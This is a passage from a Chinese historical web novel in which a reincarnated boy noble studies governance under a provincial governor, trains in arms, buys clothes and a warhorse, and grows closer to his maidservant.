他活了两世,加起来也算是个成年人了,可眼前这一幕,还是远远超出了他的认知范围。 一个十岁的身体里,住着一个成熟的灵魂,这让他面对这种事情时,感到一种前所未有的荒谬与尴尬。 他下意识地走到墙角,从柜子里抱出一床备用的被子,准备在地上打个地铺。 “爵爷……” 床榻上,传来若雪细微的声音。 她转过身来,在昏黄的灯光下,那张小脸红得几乎要滴出血来,一双眸子水汪汪的,不敢直视他。 “这是……林大人的吩咐。” 她用几不可闻的声音说道。 陆明渊动作一僵,抱着被子愣在原地。 老师的吩咐? 他深吸一口气,将怀里的被子往地上一扔,转身就往外走。 “爵爷!” 若雪惊呼一声,想要起身。 “你躺着别动!” 陆明渊头也不回地喝了一声,快步走出了房门。 他几乎是一路小跑,重新回到了林瀚文的书房前。 沈文龙依旧守在廊下的阴影里,见到去而复返的陆明渊,脸上露出一丝不出所料的笑意。 “老师还没睡?” 陆明渊喘着气问道。 “大人料到爵爷会回来,正在等您。” 沈文龙侧身让开了路。 陆明渊推门而入,只见林瀚文正悠闲地品着茶,见到他这副气冲冲的模样,不仅不恼,反而笑了起来。 “怎么,为师送你的丫头,不合心意?” 第142章 为政者,当有雷霆手段! 天色微明,晨光熹微,陆明渊的生物钟便准时将他唤醒。 他刚刚睁开眼,便看到若雪已经悄无声息地起了床,正端着一盆温热的水,静静地站在床边。 她身上穿着一件淡青色的侍女服,头发已经梳理得整整齐齐,脸上不见丝毫睡意,仿佛已经等候了许久。 “爵爷醒了。” 她的声音很轻,带着清晨特有的柔和。 陆明渊有些不适应这种被人贴身伺候的感觉,但他没有说什么,只是默默地起身。 洗漱,更衣。 若雪的动作娴熟而轻柔,每一个步骤都恰到好处。 陆明渊心中明白,这便是林瀚文将她放在自己身边的用意之一。 让他习惯这种被人服侍的生活,习惯自己身份的转变。 从一个乡野少年,到一个未来可能要搅动风云的朝堂新贵,这些都是必经的过程。 用过早饭,他与往常一样,前往贡院求学。 巡抚府的马车直接将他送到贡院门口,引来了不少学子的侧目。 如今的陆明渊,在整个江宁府的士林中,已是无人不知无人不晓的存在。 他走进学堂,一眼便看到了坐在最角落里的严和同。 那个曾经意气风发的少年,此刻却像是霜打的茄子,低着头,不敢与任何人对视。 当陆明渊的目光扫过时,他的身体明显地瑟缩了一下,将头埋得更低了。 陆明渊面无表情地收回目光,径直走向自己的座位。 他知道,林瀚文为了不将事情扩大化,已经将此事压了下去。 怡红楼的那场风波,在外人看来,不过是两个少年学子之间的一点口角冲突,无伤大雅。 学堂里的气氛有些微妙,众人窃窃私语,目光不时地在陆明渊和严和同之间游移。 猜测着两人究竟为何闹到了这般地步。 对于这些,陆明渊一概不理。 他拿出书卷,沉浸在圣人的微言大义之中。 对他而言,这些无聊的揣测,远不如一道经义题来得有趣。 一日的求学时光,在静心苦读中悄然流逝。 傍晚时分,陆明渊返回林府。 刚踏入自己的院落,便看到若雪正坐在廊下的绣墩上,借着夕阳的余晖,做着针线活。 见他回来,若雪连忙起身,将手中的东西藏到了身后,脸上带着一丝羞赧。 “爵爷回来了。” “在做什么?” 陆明渊随口问道。 若雪犹豫了一下,还是将藏在身后的东西拿了出来。 那是一双刚刚纳好的千层底布鞋,针脚细密,做工考究,显然是用了心的。 “奴婢见爵爷脚上的鞋有些旧了,便自作主张,为您做了双新的。” 她顿了顿,似乎怕陆明渊误会,又连忙补充道。 “做鞋的布料和麻线,是林大人赏下的月钱,让府上的侍卫大哥去外面买的,和……和林家没有任何关系。” 她口中的林家,自然指的是林万三。 看着她这副小心翼翼、生怕惹自己不快的模样,陆明渊心中不禁有些好笑,也有些感慨。 这个女孩,就像一根时刻紧绷着的琴弦,敏感而脆弱。 他摇了摇头,语气平和地说道。 “以后不用刻意提这些。林万三敢赌上一切示好,我陆明渊也不是小肚鸡肠之人。” “既然老师让你待在我身边,你安心待着便是。” 若雪她眼眶微微一热,用力地点了点头,蹲下身子,为陆明渊换上了新鞋。 鞋子大小正合脚,软硬适中,穿着极为舒服。 陆明渊走了两步,适应了一下,并未将这件小事放在心上。 换好了鞋子,若雪又想起一事,禀报道。 “爵爷,院子里打扫的下人有些不够,林大人让奴婢自己去前院挑人。” “奴婢挑了两个手脚勤快、看着也机敏的,只是不知合不合爵爷的心意,想等您见过了再说。” 她如今已经完全代入了管事丫鬟的角色,将院里的大小事务都打理得井井有条。 陆明渊正要开口,院门口却传来一个沉稳的声音。 “爵爷。” 两人回头望去,只见沈文龙正站在门口,躬身行礼。 “沈参议。” 陆明渊回了一礼。 “抚台大人请您去书房一趟。” “知道了。” 陆明渊对若雪点了点头,示意她不必等自己,便跟着沈文龙快步向主院书房走去。 穿过重重回廊,再次来到那间熟悉的书房。 林瀚文并未坐在书案后,而是站在一幅巨大的舆图前,手中拿着一本线装的兵法书,看得出神。 听到脚步声,他才回过头来,将书放在一旁,示意陆明渊坐下。 “今日在贡院,感受如何?” 林瀚文开口便问。 “回老师,一切如常。” 陆明渊将贡院内的情况,包括严和同的反应,都如实禀报了一遍。 林瀚文满意地点了点头,脸上露出一丝赞许。 “不为外物所扰,很好。读书人,当有这份定力。” 他话锋一转,神色变得严肃起来。 “不过,光有定力还不够。明渊,从明日起,除了贡院的学业,你每日还需抽出两个时辰,跟着院里的教头学些武艺。” “学武?” 陆明渊一愣。 “不错。”林瀚文的目光变得锐利起来。 “为师不求你能上阵杀敌,以一当百。但基本的剑术、弓马之术,你必须掌握。” “尤其是剑术,要学的不是强身健体的花架子,而是能一击毙命的杀人之技!” “杀人之技”四个字,让书房里的空气都为之一凝。 陆明渊心头一震,他没想到老师会提出这样的要求。 林瀚文仿佛看穿了他的心思,缓缓说道。 “你以为,科举之路,便是太平青云路吗?” “错了。自古以来,文争之酷烈,丝毫不下于沙场。” “你的策论,已经让你提前踏入了这盘棋局,成了某些人的眼中钉。” “为师能护你一时,却护不了你一世。这世上,最靠得住的,永远是你自己手中的剑。” “这剑,既可以是你的笔,也可以是真正的铁剑。有傍身之法,方能临危不乱。你可明白?” 这番话,如洪钟大吕,在陆明渊的脑海中轰然作响。 他瞬间明白了林瀚文的苦心。 是啊,自己只想着如何以才学经略天下,却忽略了这个时代最本质的丛林法则。 秀才遇到兵,有理说不清。 若无自保之力,再高的智慧,也可能在某个阴暗的角落,被一把淬毒的匕首轻易终结。 “学生,明白了!” 陆明渊起身,郑重地躬身一揖,“多谢老师教诲!” 林瀚文欣慰地点了点头,随即又从书案上拿起一叠公文,递给了他。 “这是今日各州府递上来的几份公文,你看看,若是你来处置,当如何应对?” 陆明渊接过公文,定了定神,仔细翻阅起来。 这已是林瀚文教导他的常态。 每日的政务,林瀚文都会挑选几件典型的,让他先行阅览,并提出自己的看法。 然后再逐条为他剖析其中的利弊得失,以及背后牵扯的各方势力。 第一份公文,是关于淮安府盐场,有盐商勾结地方官吏,私自贩盐,导致官盐滞销,盐税锐减。 陆明渊思索片刻,答道:“盐乃国之命脉,私贩盐铁,按律当斩。” “学生以为,当立刻派遣布政司官员,协同都指挥使司的兵马,前往淮安府,将涉案盐商与官吏一并捉拿,明正典刑,以儆效尤!” 他的回答,充满了少年人的锐气与果决。 林瀚文听完,却不置可否,只是淡淡一笑:“然后呢?” “然后?”陆明渊不解。 “抓了人,杀了头,然后呢?” 林瀚文追问道。 “淮安府的盐税,就能收上来了吗?那些靠着盐场吃饭的数万盐工,生计又该如何?” “你可知,这背后最大的私盐贩子,与京中哪位大人物有着千丝万缕的联系?” “你这一刀砍下去,看似痛快,却可能捅出一个天大的马蜂窝。” “到时候,整个江苏官场都要为之震动,无数人要因此丢官罢职,甚至人头落地。” 一连串的问题,问得陆明渊哑口无言,额头渗出了细密的汗珠。 他只看到了律法与罪恶,却没看到这罪恶背后,那张盘根错节、牵一发而动全身的利益大网。 “为政者,当有雷霆手段,更需有菩萨心肠。” 林瀚文拿起那份公文,指着上面几个不起眼的名字。 “你看,这份折子是淮安知府递上来的,他为何不直接点明主犯,反而只提了几个小鱼小虾?” “这是在向本官求援,也是在试探本官的态度。此事,不能一刀切。” “那依老师之见……” “敲山震虎,杀鸡儆猴。” 林瀚文缓缓说道。 “派人去查,但只查那些摆在明面上的小角色,查抄家产,充入盐税。” “至于那几条大鱼,暂且不动,只派人盯着。” “那些人不蠢,自然会将税收一分不少地送上来!” “如此一来,税收有了着落,朝廷那边可以交代;盐工的生计不受影响,地方得以安稳。” “那些大鱼,也会因为畏惧而暂时收手。” “到时候,自然会有人让出些利润,也会交换一些政治资源!” 陆明渊听得心神摇曳,只觉得一扇全新的大门,在自己面前缓缓打开。 原来,这处理政务,竟有如此多的门道与玄机。 这其中,不仅有法理,更有人情,有妥协,有利益交换。 “你记住,水至清则无鱼。” 林瀚文语重心长地教导道。 “为官之道,在于一个‘衡’字。平衡各方势力,在夹缝中寻求最优之解,推动事情朝好的方向发展,这才是真正的本事。” “学生受教了。” 陆明渊再次起身,这一次,是发自内心的敬佩与折服。 两人一问一答,一教一学,不知不觉,便是一个时辰过去。 窗外的天色已经完全暗了下来,书房里烛火通明。 直到沈文龙在门外轻声提醒。 “大人,爵爷,晚膳已经备好了。” 林瀚文这才意犹未尽地放下手中的公文,笑着拍了拍陆明渊的肩膀。 第143章 他要走的,是一条前无古人的路 晚膳就摆在正堂的八仙桌上,四菜一汤,精致而家常。 林瀚文换下了一身官服,穿着件寻常的藏青色长袍,少了几分巡抚的威严,多了几分长辈的温和。 沈文龙坐在侧首,见陆明渊进来,起身笑着点了点头。 这顿饭,更像是一场家宴。 陆明渊依礼落座,若雪则是悄无声息地站在他的身后,准备为他布菜。 桌上的气氛很轻松,林瀚文与沈文龙聊着一些江宁府的风物人情,偶尔会问陆明渊几句贡院的趣事。 陆明渊一一作答,只是身后那道安静的影子,让他如芒在背。 他习惯了自己吃饭,更习惯了吃饭时无拘无束。 这样被人贴身伺候着,一举一动仿佛都在别人的注视之下,让他浑身都不自在。 他夹了一筷子青笋,终是忍不住,回头轻声道:“若雪,你也坐下一起吃吧。” 此言一出,桌上的谈笑声戛然而止。 沈文龙的脸上露出一丝讶异,而林瀚文则是放下了手中的玉箸,目光平静地看着他,看不出喜怒。 若雪更是吓了一跳,连忙躬身道。 “爵爷,这不合规矩,奴婢……” 她的声音细若蚊蚋,目光下意识地瞟向了主位上的林瀚文。 眼神里满是惶恐与不安。 陆明渊心中微叹,他知道,在这个等级森严的时代,自己的举动确实有些出格。 但他不想让自己的生活,被这些无形的枷锁束缚得密不透风。 他没有再看若雪,而是将目光转向了林瀚文,平静地说道。 “老师,学生以为,吃饭便是吃饭,无需太多繁文缛节。” 林瀚文静静地看了他片刻,那双深邃的眼眸仿佛能洞穿人心。 就在陆明渊以为他要开口训斥时,林瀚文却忽然笑了。 他重新拿起筷子,声音沉稳,不带一丝波澜。 “她是你的侍女,自然是听你的。这府上的事情,只要你认为是对的,都可以做主,更何况只是一个座位。” 话音平淡,却如同一道旨意。 若雪的身体轻轻一颤,再次看向林瀚文,见他神色如常,这才像是得了赦免一般。 若雪对着陆明渊深深地行了一礼,声音里带着一丝微不可查的颤抖:“谢爵爷赐座。” 她从一旁搬来一张小小的绣墩,小心翼翼地在陆明渊身旁坐下。 若雪只坐了半个臀,腰背挺得笔直,双手放在膝上,极为拘谨。 陆明渊知道,林瀚文看似同意,实则是在用这种方式告诉他,他的每一个决定,都会带来相应的后果与影响。 他给了自己权力,也要看自己,能否承担起这份权力背后的责任。 这顿饭,终究是吃得有些沉闷。 待到陆明渊放下碗筷,若雪立刻起身,仿佛演练了千百遍一般,递上了温热的手帕,又奉上了漱口的清茶。 一系列动作行云流水,无可挑剔。 随后,她才端着陆明渊剩下的饭菜,退到一旁,安静而迅速地用完,开始收拾起杯盘狼藉的桌面。 陆明渊告别了老师,独自回了书房。 他需要静一静,用圣人的文字,来梳理今日激荡起伏的心绪。 他铺开宣纸,手持狼毫,凝神静气,准备练字。 “爵爷,奴婢为您研墨。” 若雪不知何时跟了进来,悄无声息地走到书案旁,拿起墨锭,在砚台中轻轻地画着圈。 陆明渊悬腕于空中,笔锋在纸上游走,一个个黑色的楷字跃然纸上,铁画银钩,自有一股锋锐之气。 只是今日心绪不平,笔下的力道便有些失了控制。 “爵爷,您这一捺,发力于腕,而乏于指,故而锋芒太露,少了几分回转的余地。” 一个轻柔的声音在耳边响起。 陆明渊笔尖一顿,诧异地看向若雪。 只见她正专注地看着自己笔下的字,眼中闪烁着一种他从未见过的光彩。 “你……懂书法?” 若雪被他一看,脸颊微红,连忙低下头,小声道。 “奴婢不敢说懂。只是……只是义父在时,曾为奴婢请了江宁府最好的几位大儒,教导奴婢读书习字。” “他们说,女孩子家,多识些字,总归是好的。” 她口中的义父,自然是林万三。 陆明渊心中了然,看来林万三当初培养她,确实是用了心的。 不仅仅是将她当作一个普通的婢女,而是当作一件可以待价而沽的珍宝。 “那依你之见,该当如何?” 陆明渊来了兴趣。 若雪犹豫了一下,还是伸出纤纤玉指,虚空比划了一下。 “王右军曾言,‘力发乎指,送于腕,注于笔。’” “爵爷天资聪颖,笔力雄健,只需将腕力稍收,多用指力控制笔锋的走向与顿挫,字体的气韵便能更上一层。” 陆明渊闻言,若有所思。 他按照若雪所说的方法,重新提笔。 果然感觉笔锋在指尖的控制下,变得更加灵动自如,写出的字,也少了几分火气,多了几分内敛的筋骨。 但他只是尝试了几笔,便又恢复了自己原先的写法。 若雪有些不解地看着他。 陆明渊淡淡一笑,说道。 “别人的路,终究是别人的。我可以借鉴,却不能模仿。” “我的字,当有我自己的风骨。若是一味追求前人法度,那我便不是陆明渊,只是某位大家的影子罢了。” 他要走的,是一条前无古人的路。 无论是为学,为官,还是为人,皆是如此。 若雪闻言,整个人都愣住了,怔怔地看着眼前这个比自己还要年幼的少年。 那双清澈的眸子里,映着烛火,也映着少年坚毅的侧脸。 片刻之后,她仿佛明白了什么,眼中的迷茫渐渐散去,取而代代的是一种前所未有的明亮。 这一夜,陆明渊练了许久的字,直到月影西斜,才停下笔来。 他将这几日抽空写完的《聊斋志异》后续章节整理成册,用细绳捆好。 这是他与林远峰的约定,君子一诺,重于千金,他自然要说到做到。 夜深人静,若雪早已备好了沐浴的热水。 氤氲的水汽中,陆明渊靠在宽大的浴桶里,闭目养神。 若雪在一旁添水、递巾,动作依旧轻柔,只是两人之间,似乎多了一些说不清道不明的默契。 陆明渊发现,自己似乎已经开始慢慢适应这种被人服侍的生活了。 或许,这便是林瀚文所说的,身份的转变。 沐浴更衣后,若雪也简单洗漱完毕,如昨夜一般。 先是将被褥焐热,然后才在床榻的最里侧躺下,裹紧了自己的薄被,呼吸均匀,仿佛一尊安静的玉雕。 一夜无话。 翌日清晨,天光大亮。 陆明渊没有去贡院,而是向林瀚文告了假。 他要去办一件私事。 江宁府的林家商行,坐落在最繁华的秦淮河畔,三层高的楼阁,雕梁画栋,气派非凡。 作为林家在江南最重要的产业之一,这里的掌柜自然也是林家的嫡系心腹。 当陆明渊带着若雪出现在商行门口时,立刻有眼尖的伙计认出了这位巡抚大人面前的红人,连忙进去通报。 片刻之后,一个身穿锦缎员外袍的中年胖子,满脸堆笑地迎了出来,正是此地的大掌柜林福。 “哎呀,是陆爵爷大驾光临,小人有失远迎,恕罪恕罪!” “林掌柜客气了。” 陆明渊淡淡地点了点头。 林福不敢怠慢,亲自将陆明渊迎进了商行最雅致的书房,又让下人奉上了顶级的雨前龙井。 “不知爵爷今日前来,有何吩咐?” 林福恭敬地问道。 “我与远峰兄有些生意上的往来,今日是来取些东西。” 陆明渊直接说明了来意。 “原来如此!” 林福恍然大悟,连忙从一个上了锁的紫檀木盒子里,取出一叠厚厚的银票,和一个信封,双手奉上。 “爵爷,这是六千两的会通银庄的银票,您点点。这里还有一封远峰少爷给您的亲笔信。” 六千两! 饶是陆明渊心性沉稳,看到这笔巨款时,心头也不禁微微一跳。 他拆开信封,林远峰那熟悉的、略带张扬的字迹便映入眼帘。 信中,林远峰先是热情洋溢地问候了他的近况,随后便眉飞色舞地讲述了《聊斋志异》在江陵县乃至整个浙江府引起的轰动。 如今,他们翰墨轩的书,已经卖到了杭州、苏州等地,生意一日千里。 信的末尾,林远峰还特意提到,这六千两只是第一笔分红,后续还会有源源不断的收益。 陆明渊看完信,脸上露出一丝微笑。 他对林福说道:“掌柜的,烦请借笔墨纸砚一用。” “爵爷请!” 林福连忙将早已备好的文房四宝推了过去。 陆明渊提笔蘸墨,当场便给林远峰回了一封信。 信中简单报了平安,又将自己写好的后续章节,连同这封回信,一并交给了林福。 “劳烦掌柜的,将此物尽快送回江陵县,交予远峰兄。” “爵爷放心,小人立刻安排最快的驿马,保证三日内送到!”林福拍着胸脯保证道。 事情办妥,陆明渊收好银票,便带着若雪离开了林家商行。 怀揣着六千两的巨款,走在江宁府繁华的街道上,陆明渊的心中却是一片平静。 钱财于他而言,只是实现目标的工具,而非最终的追求。 他看了一眼身旁的若雪。 她依旧穿着那身淡青色的侍女服,虽然干净整洁,但布料和款式,都带着一股商贾人家的气息。 陆明渊不太喜欢。 “走吧。” “去给你买些常用的东西,顺便……换身衣裳。这身衣服,不好看。” 第144章 你是我的人,代表我的脸面! 万宝斋的门楣极高,朱漆大门上悬着一块巨大的黑底金字牌匾,笔力雄浑,气势非凡。 门口立着两个穿着统一短褐的伙计,精神抖擞,眼观六路。 陆明渊和若雪刚一走近,那掌柜的便已从柜台后绕了出来。 这掌柜姓钱,是个精明的生意人,前几日陆明渊名动江宁,他便早已将这位新晋爵爷的样貌记在了心里。 此刻一见,立刻满脸堆笑地迎了上来,那张胖脸上堆着的笑意,仿佛能挤出油来。 “哎呀,贵客临门,贵客临门!小的钱有才,给陆爵爷请安了!” “钱掌柜不必多礼。” 陆明渊神色平淡,目光在店内扫了一圈。 万宝斋内里更是奢华,一楼是胭脂水粉、绫罗绸缎,二楼是金银玉器、珠宝首饰,三楼则是专供贵客品茶赏玩的雅间。 空气中弥漫着一股名贵香料与檀木混合的清雅气息,闻之令人心神一宁。 “不知爵爷今日想看些什么?是给府上添些摆件,还是给夫人小姐们挑些新出的首饰?” 钱掌柜躬着身子,小心翼翼地引路。 陆明渊没有去看那些琳琅满目的商品,而是直接说道。 “我需要几套方便习武的短衫劲装,要最好的料子。” “另外,再要一把五石的强弓,配一百支破甲狼牙箭。” 钱掌柜脸上的笑容微微一滞,有些愕然的看着眼前这个身形尚未完全长开的少年。 习武的劲装好说,可这五石强弓……那已是军中猛将才能拉开的利器了! 寻常武人,能开三石弓便足以自傲了。 但他毕竟是生意场上的老人精,惊讶只是一闪而过,立刻换上了一副更加热切的笑容。 “爵爷好武艺!小的佩服!劲装好说,咱们这儿有专门从苏州请来的老师傅,用的都是最结实、最透气的云锦丝,保证您活动自如,不滞分毫。” “只是这五石强弓和破甲箭,都是军中管制品,小店……” “钱掌柜,” 陆明渊打断了他。 “我既开口,便是有门路。你只管说,有没有。” 钱掌柜心中一凛,暗道这位小爵爷果然不是凡人。他连忙点头哈腰道。 “有!有!爵爷您放心,小店虽不敢明着摆出来,但库房里还是有些存货的,都是给相熟的将军们预备的。您稍等,我这就去给您取来!” 陆明渊点了点头,又道:“我还想买一匹马。” 钱掌柜闻言,眼睛彻底亮了,这才是真正的大生意! 他连忙道:“爵爷,这买马可得去专门的马行。不知您想要什么样的马?” “若是代步的温驯良马,百十两银子便能买到极好的。若是想要日行千里的宝马,那价格可就没边了。” 他见陆明渊面露询问之色,便压低了声音,详细解释道。 “寻常所谓的千里马,大多是西域贩来的大宛马,品相好的,至少也要千两起步。” “若是真正顶级的,能上战场的汗血宝马,那更是有价无市。” “需要咱们商行派人,冒着风险去关外草原的部落里重金求购,还得看运气。” “这等神驹,非王侯将相不可得。” 上千两…… 陆明渊心中也是一抽。 他虽得了六千两巨款,但也不是这么个花法。 沉吟片刻,他问道:“那上好的战马呢?” “爵爷,这您可就问对人了!” 钱掌柜一拍大腿,笑道。 “朝廷勘磨合格的战马,那都是军需物资,谁敢倒卖就是杀头的罪过。” “不过,咱们商行有自己的马场,也从草原购进良种马驹,请了退役的军中高手来驯养。” “虽不敢说比得上军中最好的那一批,但比起寻常战马,只强不弱!” “脚力、耐力、胆气都是上上之选,价格也公道,二百两一匹,保您满意!等会儿小的亲自带您去马行挑选!” “如此甚好。” 陆明渊对这个价格还算满意,“先看衣服吧。” “好嘞!爵爷您这边请!” 钱掌柜将陆明渊引至一旁的试衣间,伙计们立刻流水价地捧上十几套款式各异的劲装。 陆明渊挑选了五套黑、白、青三色的,皆是样式简洁,便于活动的款式。 选完自己的,他忽然想起了什么,对钱掌柜说道。 “再替我老师选几套常服。” “不知林大人……” 钱掌柜面露难色,巡抚大人的衣服,他可不敢乱拿主意。 陆明渊报出了林瀚文大概的身高和体型,但对于更细节的尺寸,他却是一无所知。 一直安静地站在他身后的若雪,此时却忽然上前一步,对着钱掌柜轻声说道。 “林大人身长七尺三寸,肩宽一尺九寸,腰围二尺八寸,臂长二尺四寸。” “平日里喜穿素色,尤爱天青与月白。衣料偏爱软滑的苏绸,不喜过于繁复的暗纹。” 她声音轻柔,语速平稳,一连串精准的数字从她口中报出,没有丝毫的迟疑。 陆明渊颇为诧异地看了她一眼。 若雪似乎感受到了他的目光,脸颊微红,垂下眼帘解释道。 “奴婢自幼便要学习这些……察言观色,目测身形。” 她的声音里带着一丝不易察觉的黯然。 钱掌柜却是听得双眼放光,连连赞道。 “姑娘好眼力!有了这些尺寸,保管给林大人做得妥妥帖帖!” 他不敢怠慢,立刻让伙计取来了店里压箱底的几套顶级成衣。 陆明渊亲自上手摸了摸料子,又看了看款式。 最终选定了一套天青色竹叶暗纹长袍和一套月白色的居家常服,皆是低调中透着奢华,正合林瀚文的身份。 给林瀚文选完衣服,陆明渊的目光落回到了若雪身上。 他对着钱掌柜一指若雪,语气平淡地说道:“再给她选几套。” 若雪闻言,浑身一僵,整个人都愣住了,连连摆手,惶恐道。 “不,不用的爵爷!奴婢不需要!奴婢的衣服够穿了,自己……自己织就好!” 身为婢女,自然不能让主子给自己买衣裳! 陆明渊却像是没听见她的话,只是对钱掌柜道:“把适合她这个年纪穿的,都拿上来。” “是,爵爷!” 钱掌柜何等眼力,立刻便明白了这位小爵爷的意思。 他冲着一旁的两个女伙计使了个眼色,那两人立刻会意,笑着上前,一左一右地拉住若雪的手。 “姑娘,这边请。” 若雪还想挣扎,却被陆明渊一个平静的眼神制止了。 那眼神里没有命令,也没有威严,却让她瞬间失了所有的力气,只能任由那两个女伙计将她带进了隔壁的女宾试衣间。 片刻之后,当若雪换上一身水绿色的襦裙,重新走出来时,整个店堂似乎都亮了几分。 那身衣服仿佛是为她量身定做一般,衬得她原本就白皙的肌肤愈发晶莹剔透,纤细的腰肢不盈一握。 整个人如同一株雨后新荷,清新脱俗,带着一股惹人怜爱的娇怯。 陆明渊的眼中闪过一丝赞许。他没有多言,只是对钱掌柜道。 “这套,还有方才那几套月白、鹅黄的,都包起来。以后她穿的衣服,都按这个尺寸来。” “好嘞!” 钱掌柜手脚麻利地开始打包,一边算账一边笑道。 “爵爷您眼光真好!您自己的五套劲装,林大人的两套常服,加上若雪姑娘的四套新衣。” “一共是七百二十两银子,给您抹个零头,算七百两整!” 陆明渊从怀中直接取出一张一千两的会通银庄的银票递了过去。 “不用找了。剩下的,再配些相应的腰带、衬衣、鞋袜。” 钱掌柜接过银票,手都有些发抖,脸上的笑容愈发灿烂。 “爵爷大气!您放心,一定给您配最好的!” 置办完衣物,陆明渊又带着若雪走到了二楼的珠宝首饰区。 “挑几套适合她戴的,要清雅些的。” “爵爷!” 若雪终于忍不住,惊慌失措地拉住了陆明渊的衣袖,急声道。 “使不得,奴婢只是个下人,怎配戴这些东西!会……会被人笑话的!” 陆明渊终于停下脚步,转过身,静静地看着她。 他的目光很平静,却带着一种穿透人心的力量。 “你是我陆明渊的侍女,你出门在外,一言一行,一举一动,代表的都是我陆明渊的脸面。” 他伸手指了指那些璀璨的珠宝,又指了指她空无一物的发髻和手腕,声音依旧平淡,却重如千钧。 “若是让人看到我陆明渊的贴身侍女,衣衫陈旧,首饰全无,别人笑话的不是你,是我陆明渊寒酸,是我陆明渊刻薄。” “你丢的,是我的人。” 一番话,如同一道惊雷,在若雪的心头炸响。 她怔怔地看着眼前的少年,看着他那双深邃而平静的眸子,仿佛第一次真正认识他。 她是我陆明渊的侍女。 你丢的,是我的人。 这两句话,在她脑海中反复回响。 像是一颗石子投入了她死寂了十三年的心湖,激起了一圈又一圈的涟漪。 那双长久以来因为麻木与顺从而显得有些空洞的眸子里。终于,渐渐地,凝聚起了一丝微弱的光。 那光芒带着一丝感动,一丝迷茫,还有一丝她自己都未曾察觉的,名为爱慕的情愫。 她缓缓地松开了紧抓着陆明渊衣袖的手,指尖却依旧在微微颤抖。 她对着陆明渊,深深地,深深地弯下了腰,声音轻得几乎听不见,却带着一种前所未有的郑重。 “奴婢……谢爵爷……赐。” 陆明渊没再说什么,只是对那首饰掌柜点了点头。 掌柜的立刻心领神会,挑出了一支素银梅花簪,一对小巧的珍珠耳坠,还有一个温润的白玉手镯。 皆是款式精巧,价值不菲,却又不显张扬,正适合若雪这个年纪和气质。 买完了所有的东西,万宝斋的伙计们用几个精致的木盒打包妥当。 陆明渊对钱掌柜道:“将这些东西,连同弓箭,一并送到巡抚府。” “爵爷放心,小人亲自给您送过去,保证万无一失!” 钱掌柜拍着胸脯保证。 陆明渊点了点头,然后对身旁的若雪说道:“你先跟着他们回去,把东西收拾好。” 若雪抱着那个装着首饰的小盒子,指节因为用力而有些发白,她抬起头,清澈的眸子里带着一丝担忧。 “那爵爷您……” “我和钱掌柜,去马行。” 第145章 纸上得来终觉浅,绝知此事要躬 第145章纸上得来终觉浅,绝知此事要躬行 江宁城的马行设在城南,占地极广道。 与万宝斋的精致奢华不同,这里的一切都显得粗犷而充满了生命力。 高亢的嘶鸣声、伙计的吆喝声、买家的讨价还价声,汇成了一股喧嚣的热浪。 钱掌柜显然是这里的常客,一路走来,不断有穿着短褂的马夫、管事朝他拱手行礼。 他领着陆明渊,径直穿过贩卖普通挽马和代步马的外场,来到了一处被高高的栅栏围起来的内场。 这里的马,无论是神采还是体格,都远胜外场。 一匹匹骏马或低头吃草,或甩动着漂亮的尾巴,肌肉线条流畅而结实,眼神中透着一股野性的警惕与灵动。 一位皮肤黝黑、手臂上肌肉虬结的老马夫迎了上来,对着钱掌柜咧嘴一笑,露出一口黄牙。 “钱掌柜,今儿什么风把您给吹来了?” “胡师傅,给你介绍位贵客。” 钱掌柜侧过身,恭敬地引荐道,“这位是陆爵爷。” 老马夫闻言,脸上的笑容收敛了些,眼中闪过一丝惊讶,随即郑重地抱拳行礼。 “小的胡三,见过爵爷。” 陆明渊微微颔首,目光已经落在了马场中的一匹通体乌黑,唯有四蹄雪白的骏马身上。 那马身形高大,肩颈的线条充满了爆发力,此刻正不安地刨着蹄子,鼻孔里喷出白气。 一双眼睛黑亮得如同子夜的星辰,透着一股不驯的悍意。 “好马。”陆明渊由衷地赞了一句。 胡三顺着他的目光看去,眼中露出一丝赞许和为难,说道。 “爵爷好眼力。这匹‘踏雪’是咱们马场里性子最烈的一匹。” “是从关外一个部落里好不容易换来的,身上带着草原狼的血性。驯了快半年了,寻常的骑手根本近不了它的身。” 陆明渊没有说话,只是迈步朝着那匹名为“踏雪”的黑马走去。 “爵爷小心!” 胡三和钱掌柜同时惊呼出声。 果然,踏雪见有生人靠近,立刻警惕地抬起头,发出一声响亮的嘶鸣,前蹄高高扬起,作势欲踢。 陆明渊却脚步未停,神色平静如水。 他没有急着去抚摸,只是静静地站在栅栏外,用那双深邃的眸子凝视着它。 他的身上没有散发出任何威胁的气息,反而有一种奇异的、令人安定的力量。 那踏雪似乎也感受到了什么,扬起的前蹄缓缓落下,暴躁的情绪渐渐平复。 只是依旧用那双黑亮的眼睛警惕地打量着眼前的少年。 一人一马,隔着栅栏,对视了足足一炷香的功夫。 最终,是踏雪先败下阵来,它打了个响鼻,竟主动将头颅朝陆明渊的方向凑了凑。 陆明渊这才伸出手,缓缓地,轻柔地抚摸上它油光水滑的脖颈。 踏雪的身体微微一颤,却没有躲闪,反而舒服地眯起了眼睛。 一旁的胡三和钱掌柜看得目瞪口呆。 “这……这真是神了!” 胡三喃喃道,“这畜生通人性,是它自个儿认主了!” 陆明渊转过头,对钱掌柜说道。 “就要它了。” “好!好!” 钱掌柜回过神来。大喜过望。 “爵爷,这匹马原本要价二百两,既然它与您有缘,小的做主,一百二十两!就当交个朋友!” 陆明渊点了点头,又让胡三配了最好的马鞍、嚼子和马鞭,一并算清了账。 夏末的蝉鸣渐渐稀疏,秋风便带着秦淮河的凉意,吹进了巡抚衙门的后院。 接下来的几个月,陆明渊的生活变得如钟摆般精准而规律。 清晨,天光微亮,他便已在院中练剑,身形在晨曦中拉出一道道模糊的残影。 白日,他便一头扎进江宁府贡院的藏书楼。 这座藏书楼乃是两江文脉之所在,藏书何止万卷。 陆明渊读书极快,往往一目十行,过目不忘。 短短三个月,竟硬生生将藏书楼第一层经、史、子、集数千卷书册,尽数阅览了一遍。 胸中所学,已然深厚得远超同龄之人。 午后,则是雷打不动的练武时间。 他不再满足于院中的方寸之地,而是骑上踏雪,奔赴城外的校场。 一人一马,仿佛天生就该在一起,从最初的生涩到后来的默契,不过月余光景。 他腰悬长弓,背负箭囊,在飞驰的马背上练习骑射。 从最初的五十步,到八十步,再到百步穿杨,他的箭术突飞猛进。 那些在军中打滚了半辈子的老兵油子们,时常由衷赞叹。 “爵爷这手骑射的本事,怕是咱们军中的神射手,也不过如此了!” 待到夜幕降临,华灯初上,陆明渊则会来到林瀚文的书房。 灯火之下,这位封疆大吏会将自己的为官经验、对朝局的洞察、处理政务的手段,纷纷传授给陆明渊。 